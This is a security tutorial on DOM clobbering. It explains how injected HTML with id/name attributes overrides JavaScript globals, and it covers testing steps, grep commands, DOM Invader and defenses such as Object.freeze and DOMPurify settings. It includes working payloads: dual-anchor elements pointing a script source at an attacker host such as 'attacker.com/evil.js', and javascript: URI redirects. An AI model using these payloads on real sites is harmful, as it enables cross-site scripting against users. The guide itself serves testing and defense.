DOM Clobbering Attack Testing: Exploiting HTML to Override JavaScript Globals
DOM clobbering is one of the more counterintuitive attack classes in client-side security. The attacker injects no JavaScript. No <script> tag, no event handler attribute, no javascript: URI. They inject plain HTML — an anchor, an image, a form — and the browser's own named element access mechanism turns it into code execution.
The vulnerability lives at the intersection of two browser behaviors that individually seem harmless: HTML elements with id or name attributes are automatically exposed as properties on the window object, and many JavaScript applications read configuration or state from window properties without defensive checks. Put those two facts together, and HTML injection becomes JavaScript injection — even when your sanitizer blocked every <script> tag in sight.
This guide covers how DOM clobbering works mechanically, how attackers chain it to XSS, how to find it in source code, and how to verify it with tooling.
The Browser Quirk That Makes It Possible
The HTML specification defines named element access: when you access a property on window that doesn't exist as a native property, the browser falls back to looking for a DOM element with a matching id or name attribute. This is not a bug — it's a decades-old spec behavior, originally designed so that window.myForm would give you the <form name="myForm"> element.
In practice, this means:
<!-- This HTML in the page... -->
<img id="config">
<!-- ...makes this JavaScript evaluate to the img element -->
console.log(window.config); // HTMLImageElement
console.log(window.config === document.getElementById('config')); // true
The attacker doesn't need to set window.config via script. The browser does it automatically based on the element's id. Any HTML injection point — a comment field, a profile bio, a search result that reflects input, a Markdown renderer that outputs HTML — becomes a potential clobbering vector.
Which elements support named access? The spec restricts this to a specific set: <a>, <area>, <button>, <embed>, <form>, <frame>, <frameset>, <iframe>, <img>, <input>, <map>, <meta>, <object>, <select>, and <textarea>. Elements with id attributes on non-listed elements still appear via document.getElementById, but only the listed elements get automatic window property exposure via the named access spec.
From HTML Injection to XSS: The Clobbering Chain
On its own, overriding window.config with an HTMLImageElement does nothing dangerous. The attack only triggers when JavaScript code later reads from that property and passes the value to a dangerous sink. Consider this pattern, which appears constantly in real applications:
// Application code — developer assumes window.config is set server-side
var redirectUrl = (window.config || { defaultUrl: '/dashboard' }).defaultUrl;
window.location.href = redirectUrl;
The developer's intent: if window.config exists, use its defaultUrl. Otherwise fall back to /dashboard. The flaw: if an attacker can inject <a id="config" name="defaultUrl" href="javascript:alert(document.domain)"></a>, then window.config is that anchor element. Accessing .defaultUrl on it returns... the anchor element's href attribute value. Which is now javascript:alert(document.domain). Which gets passed to window.location.href.
That is a complete XSS chain with no script injection. The sanitizer never saw a <script> tag. The CSP never saw an inline event handler. But the page executed attacker-controlled JavaScript.
Basic Clobbering Example
Start with the simplest case: clobbering a global that the application reads as a string.
<!-- Attacker-injected HTML -->
<img id="config" src="x">
<!-- Application code -->
var apiBase = window.config;
fetch(apiBase + '/user/profile'); // apiBase is now an HTMLImageElement
// toString() → "[object HTMLImageElement]"
// fetch fails, but no XSS yet
On its own this breaks functionality but doesn't execute code. The interesting cases are when the application reads a property off the clobbered object, not the object itself.
<!-- Application code that's actually clobberable -->
var cfg = window.config || {};
document.write('<script src="' + cfg.analyticsUrl + '"><\/script>');
Now you need to make cfg.analyticsUrl return an attacker-controlled string. An HTMLImageElement doesn't have an analyticsUrl property, so it returns undefined. You need a second layer of clobbering.
Advanced: Nested Clobbering for Deep Property Access
The HTML spec provides a mechanism for two-level property access via collections. When two elements share the same id, accessing that property on window returns an HTMLCollection rather than a single element. Individual items in that collection are accessible by their name attribute. The <a> element is the most useful here because its href attribute is returned as a string via the named access.
<!-- Two elements with the same id create an HTMLCollection -->
<a id="config"></a>
<a id="config" name="analyticsUrl" href="https://attacker.com/evil.js"></a>
<!-- Now: -->
window.config // HTMLCollection
window.config.analyticsUrl // the second <a> element
window.config.analyticsUrl.toString() // "https://attacker.com/evil.js"
When the application does window.config.analyticsUrl and passes the result to document.write as a script src, it loads the attacker's script. That's a stored XSS via DOM clobbering, no script tag required.
For javascript: URI payloads, the same pattern applies wherever the value ends up in a navigable sink:
<a id="config"></a>
<a id="config" name="redirectUrl" href="javascript:alert(document.domain)"></a>
// Application code:
window.location = window.config.redirectUrl; // XSS
Real Bug Patterns in Application Code
DOM clobbering vulnerabilities concentrate around a few recurring code patterns. Knowing these makes source-code review significantly faster.
The false-y fallback pattern
// Clobberable: window.appConfig is an HTMLElement, which is truthy
// so the fallback never fires, and .endpoint is attacker-controlled
var endpoint = (window.appConfig || { endpoint: '/api' }).endpoint;
fetch(endpoint);
HTMLElements are truthy. The || fallback never executes when clobbering succeeds. The developer assumed the variable would either be a proper config object or undefined — but a DOM element is a third state they didn't account for.
Lazy initialization via globals
// Common in older jQuery-era codebases
if (!window.AppConfig) {
window.AppConfig = { theme: 'light', debug: false };
}
// If window.AppConfig is already an HTMLElement (truthy), this block is skipped
// and the rest of the code uses the element as if it were the config object
applyTheme(window.AppConfig.theme);
Dynamic script loading
// Any injection into script src, even partial, is critical
var s = document.createElement('script');
s.src = window.cdnBase + '/app.min.js';
document.head.appendChild(s);
// Clobber window.cdnBase with an anchor whose toString() returns an attacker URL:
// <a id="cdnBase" href="https://attacker.com"></a>
innerHTML and template injection
// Direct innerHTML assignment from clobbered value
document.getElementById('banner').innerHTML = window.siteConfig.bannerHtml;
// eval-based template engines reading from globals
eval(window.templateConfig.renderer + '(data)');
DOMPurify and the Sanitizer Bypass History
DOMPurify is the most widely deployed HTML sanitizer for client-side use. It has a strong track record, but DOM clobbering has historically been a gap between what DOMPurify blocks and what the browser does with the output.
The core problem: DOMPurify's default mode is designed to produce safe HTML for rendering — it strips <script>, javascript: URIs, and event handler attributes. But it does not strip id and name attributes by default, because those are legitimate HTML attributes with many safe uses. The sanitizer's output can be clean from an XSS perspective and still clobber globals.
DOMPurify added the SANITIZE_DOM option (enabled by default since 2.0) which blocks clobbering of a hardcoded list of dangerous globals (document, window, cookie, etc.). It also added SAFE_FOR_TEMPLATES mode for use with template engines, and more recently SANITIZE_NAMED_PROPS to prevent arbitrary id/name clobbering.
// Safer DOMPurify configuration for applications using globals
DOMPurify.sanitize(userHtml, {
SANITIZE_DOM: true, // default true — blocks document/window clobbering
SANITIZE_NAMED_PROPS: true, // strips id/name from all elements
SAFE_FOR_TEMPLATES: true // additional hardening for template contexts
});
If you use DOMPurify and your application reads from window properties that could share names with user-controlled HTML attributes, enable SANITIZE_NAMED_PROPS: true. The default configuration protects against the worst cases but not arbitrary application-level clobbering.
How to Test for DOM Clobbering
Testing requires two things in parallel: finding JavaScript that reads from window properties without sufficient type-checking, and finding HTML injection points where you can inject elements with controlled id/name attributes.
Step 1: Source/sink analysis in JavaScript
Grep the codebase for patterns that read from window properties using variable access (not method calls), especially where the result flows to dangerous sinks.
# Find window property reads that could be clobbered
grep -rn "window\.\([a-zA-Z_$][a-zA-Z0-9_$]*\)" --include="*.js" src/
# Find the || fallback anti-pattern
grep -rn "window\.[a-zA-Z]* ||\|window\.[a-zA-Z]* ?" --include="*.js" src/
# Find dangerous sinks consuming window properties
grep -rn "innerHTML\|document\.write\|eval\|\.src\s*=" --include="*.js" src/
# Find location assignments
grep -rn "location\s*=\|location\.href\s*=" --include="*.js" src/
For each window property read you find, trace what happens to the value. If it reaches innerHTML, document.write, eval, location, a script.src, or any other JavaScript-execution sink, you have a candidate sink. Now find the injection point.
Step 2: Find HTML injection points
Look for any place user-supplied content ends up as HTML in the page. Common sources:
- User profile fields (bio, display name, company name) rendered in HTML context
- Comment and post content with "safe HTML" allowed (Markdown renderers, rich text editors)
- Search results that reflect query strings
- URL parameters reflected into page content
- Notification or message content rendered server-side or client-side
- Import/export features that render user-supplied HTML documents
For each injection point, determine what sanitizer (if any) is applied and whether it strips id and name attributes.
Step 3: Inject clobbering payloads and observe
Start with basic probes. Inject <img id="testClobber123"> and then open the browser console:
// In browser console after injection:
console.log(window.testClobber123);
// If you see HTMLImageElement, clobbering works at this injection point
Then target the specific globals used by the application. If the source review found window.config.analyticsUrl flowing to a script src:
<!-- Probe payload -->
<a id="config"></a>
<a id="config" name="analyticsUrl" href="https://yourserver.com/probe.js"></a>
Watch your server logs. If you get a request for probe.js, the chain is complete.
DOM Invader (Burp Suite)
PortSwigger's DOM Invader browser extension (included with Burp Suite Pro) has explicit DOM clobbering support. Enable it from the DOM Invader panel, then navigate the application. It:
- Automatically identifies JavaScript sources that read from
windowproperties - Detects when injected HTML reaches those sources
- Generates clobbering payloads targeted at the specific property names it found
- Highlights clobberable sinks in the page source with call stack traces
For manual work without Burp, the browser's developer tools are sufficient. Set breakpoints on suspicious property reads using the Sources panel, then inject your HTML and observe the call stack when the breakpoint fires.
Manual console-based testing workflow
// 1. Check what globals the page defines at load
Object.keys(window).filter(k => !['location','document','navigator'].includes(k));
// 2. After injecting your HTML, check if clobbering landed
window.config; // Should now be HTMLElement if clobbering worked
// 3. Check property access on the clobbered object
window.config.url;
window.config.analyticsUrl;
// 4. For collection-based two-level clobbering
window.config; // should be HTMLCollection
window.config.length; // number of matching elements
window.config.namedItem('url'); // access by name
The Clobberable Sinks
Not all sinks are equal. Prioritize your testing by impact:
| Sink | Impact | Notes |
|---|---|---|
document.write(cfg.x) |
Critical — arbitrary HTML injection | Inject <script> tag via clobbered value |
eval(cfg.callback) |
Critical — direct code execution | Clobbered anchor href returns string |
innerHTML = cfg.template |
High — HTML injection, possible XSS | Combined with event handlers if script is blocked |
script.src = cfg.url |
Critical — arbitrary script load | Bypasses inline script CSP |
location.href = cfg.redirect |
High — open redirect / XSS via javascript: | Anchor href returns javascript: URI as string |
fetch(cfg.endpoint) |
Medium — SSRF / data exfiltration | Less likely to achieve code execution directly |
Defenses and What Actually Works
Object.freeze() on configuration objects
If your application initializes a config object early in page load (before any user-supplied HTML is rendered), freeze it:
// Initialized early in a trusted script before user content renders
window.config = Object.freeze({
analyticsUrl: 'https://cdn.example.com/analytics.js',
defaultRedirect: '/dashboard'
});
// Now an attacker-injected <img id="config"> cannot override window.config
// because the property already exists and is non-configurable
This works because named element access only applies when the property doesn't exist on the window object. If you set it first, clobbering can't overwrite it. The freeze prevents later script from modifying it either.
Explicit type checking
// Weak — HTMLElement is truthy, bypasses the fallback
var cfg = window.config || {};
// Stronger — checks actual type
var cfg = (window.config && typeof window.config === 'object'
&& !(window.config instanceof Element)) ? window.config : {};
// Or use a type guard function
function getSafeConfig() {
var raw = window.config;
if (!raw || raw instanceof Element || raw instanceof HTMLCollection) {
return { analyticsUrl: '/analytics.js' }; // safe default
}
return raw;
}
Sanitizer configuration
If you use DOMPurify, enable SANITIZE_NAMED_PROPS: true to strip id and name from all user-supplied HTML. This prevents clobbering at the injection point rather than at the sink, which is the more reliable control.
var clean = DOMPurify.sanitize(userInput, {
SANITIZE_NAMED_PROPS: true
});
element.innerHTML = clean;
Content Security Policy
CSP doesn't prevent DOM clobbering directly, but a well-configured CSP can break the attack chain at the sink level. A policy with script-src 'self' blocks attacker-controlled external scripts loaded via script.src, limiting the impact of clobbering that targets script load sinks. CSP cannot stop eval() without unsafe-eval being absent, and cannot stop location redirects.
The || {} pattern — why it's not a fix
A common misconception: the pattern var cfg = window.config || {} is assumed to be safe because if clobbering occurs, you just get an empty object as fallback. This is wrong. As noted above, an HTML element is truthy. The fallback never fires. cfg will be the HTMLElement, not {}. Developers who think this pattern provides a safe default are mistaken.
DOM Clobbering Testing Checklist
- Enumerate JavaScript globals — review application scripts for all
window.Xreads, especially those consuming sub-properties likewindow.X.Y - Map globals to sinks — trace each window property read to its eventual use; flag any that reach innerHTML, eval, document.write, location, or script src
- Find HTML injection points — identify all places user-supplied content is rendered as HTML; note which sanitizer (if any) is applied
- Check sanitizer configuration — verify DOMPurify (or equivalent) has
SANITIZE_NAMED_PROPSor equivalent stripping of id/name attributes - Probe basic clobbering — inject
<img id="[targetGlobal]">and verify via browser console thatwindow.[targetGlobal]is now an HTMLElement - Test two-level clobbering — for properties accessed as
window.X.Y, use the dual-anchor pattern with matchingidandnameattributes - Verify href/src string coercion — when clobbering with
<a href="...">, confirm the string value returned is your injected href, not a stringified element - Use DOM Invader — run Burp Suite's DOM Invader against the target with clobbering detection enabled for automated source-to-sink tracing
- Check config initialization timing — verify that config objects are frozen or set before user HTML is rendered
- Test type guards — if type checks exist, verify they actually check
instanceof Elementand not just truthiness - Assess impact without full XSS — even if code execution isn't achievable, document clobbering that causes functional breakage or open redirects
- Review template engines — template engines that read variables from the global scope are particularly high-risk; check their documentation for clobbering notes
DOM clobbering is easy to miss in code review because it spans two separate concerns: where HTML enters the page, and where JavaScript reads from globals. Those two locations are often in different files written by different developers at different times. Automated scanners that trace only one side of the chain miss the vulnerability entirely. Effective testing requires connecting the HTML injection surface to the JavaScript consumption surface, then verifying the chain end-to-end in a browser.
The payoff for finding it is high: bypassing a sanitizer that the development team explicitly added as a security control, achieving XSS in contexts the team believed were protected.